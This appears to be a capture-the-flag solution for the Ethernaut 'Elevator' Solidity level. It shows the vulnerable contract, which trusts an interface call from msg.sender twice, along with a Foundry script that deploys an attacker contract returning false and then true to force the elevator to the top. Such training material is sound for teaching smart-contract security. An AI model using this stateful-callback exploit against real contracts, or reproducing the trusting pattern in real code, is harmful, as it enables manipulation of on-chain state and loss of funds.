1
// SPDX-License-Identifier: MIT
2
pragma solidity ^0.8.0;
3

4
interface Building {
5
    function isLastFloor(uint256) external returns (bool);
6
}
7

8
contract Elevator {
9
    bool public top;
10
    uint256 public floor;
11

12
    function goTo(uint256 _floor) public {
13
        Building building = Building(msg.sender);
14

15
        if (!building.isLastFloor(_floor)) {
16
            floor = _floor;
17
            top = building.isLastFloor(floor);
18
        }
19
    }
20
}

1
function goTo(uint256 _floor) public {
2
    Building building = Building(msg.sender);
3

4
    if (!building.isLastFloor(_floor)) {  // First call
5
        floor = _floor;
6
        top = building.isLastFloor(floor);  // Second call
7
    }
8
}

1
// SPDX-License-Identifier: UNLICENSED
2
pragma solidity ^0.8.0;
3

4
import "forge-std/Script.sol";
5
import "forge-std/console.sol";
6
import "../src/Elevator.sol";
7

8
contract EvilBuilding {
9
    bool private evilSwitch;
10
    Elevator public elevatorInstance = Elevator(<YOUR_INSTANCE>);
11

12
    function attack() public {
13
        // Trigger the goTo() function with any floor number
14
        elevatorInstance.goTo(999);
15
    }
16

17
    function isLastFloor(uint256 _floor) external returns (bool) {
18
        // First call: return false to pass the if condition
19
        if(!evilSwitch){
20
            evilSwitch = true;
21
            return false;
22
        } else {
23
            // Second call: return true to set top = true
24
            return true;
25
        }
26
    }
27
}
28

29
contract ElevatorSolution is Script {
30

31
    function run() public {
32
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
33

34
        // Deploy the malicious Building contract
35
        EvilBuilding evil = new EvilBuilding();
36

37
        // Execute the attack
38
        evil.attack();
39

40
        vm.stopBroadcast();
41
    }
42
}